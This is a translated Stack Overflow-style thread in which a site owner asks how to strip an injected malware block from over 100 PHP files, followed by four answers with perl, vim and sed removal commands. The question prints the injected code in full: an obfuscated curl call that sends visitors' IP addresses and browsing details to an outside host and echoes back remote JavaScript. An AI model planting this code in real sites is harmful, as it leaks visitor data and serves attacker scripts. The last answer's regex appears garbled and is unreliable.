0

我的服务器上的恶意软件有一个大问题。不知何故,机器人能够将代码放入 100 多个 php 文件中,这些文件执行 curl 检索以在查看器浏览器上执行 JS 代码。幸运的是,此代码连接到的服务器已死。所以不,我的 php 文件中有死的恶意软件代码。我想从每个 php 文件中删除该代码块。

以下代码块位于许多 php 文件中:

?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

如您所见,第一个字符以“?>”开头。

使用 sed 我会做类似的事情:

sed -i 's/<\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?>//g' *.php

显然这是行不通的。但是我试图做的是搜索开始标记,包括对 $sRetry 的“isset”检查,以确保它只找到这个代码块,然后是 (.*) 后面跟两个大括号和结尾的任何代码标签。

任何人都可以为我提供适当的正则表达式或告诉我这个有什么问题吗?

4

4 回答 4

0
perl -i -lne 'print unless(/\?\>\<\?php/.../\?\>$/)' *.php
于 2013-03-12T10:28:58.857 回答
0

这可以解决一个文件的问题:

`vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq yourfile.php `

如果你有受感染文件的列表,请在受感染的列表中进行搜索,请执行以下操作:

for i in $(cat infected.list); do 
    vim -e +':%s#<?php\nif (!isset(\$sRetry\_.\{-}?>##' +wq $i
done;
于 2013-05-22T09:35:50.767 回答
0

这是否足够:

sed -e '/?><?php/,/?>/d' your_file.php

如果您想测试除第一行之外的第二行,您可以执行以下操作:

sed -e '/?><?php/N;/?><?php\nif (!isset(\$sRetry))/,/?>/d' your_file.php
于 2013-03-12T10:39:25.547 回答
0

在整个文件上:

/^(.)(<\?php.?\\$sRetry.?\?>)(.)$/mis _ _ _ _

拿匹配 1 和匹配 3 并将它们粘在一起。奇迹般有效。

于 2013-08-23T19:34:32.617 回答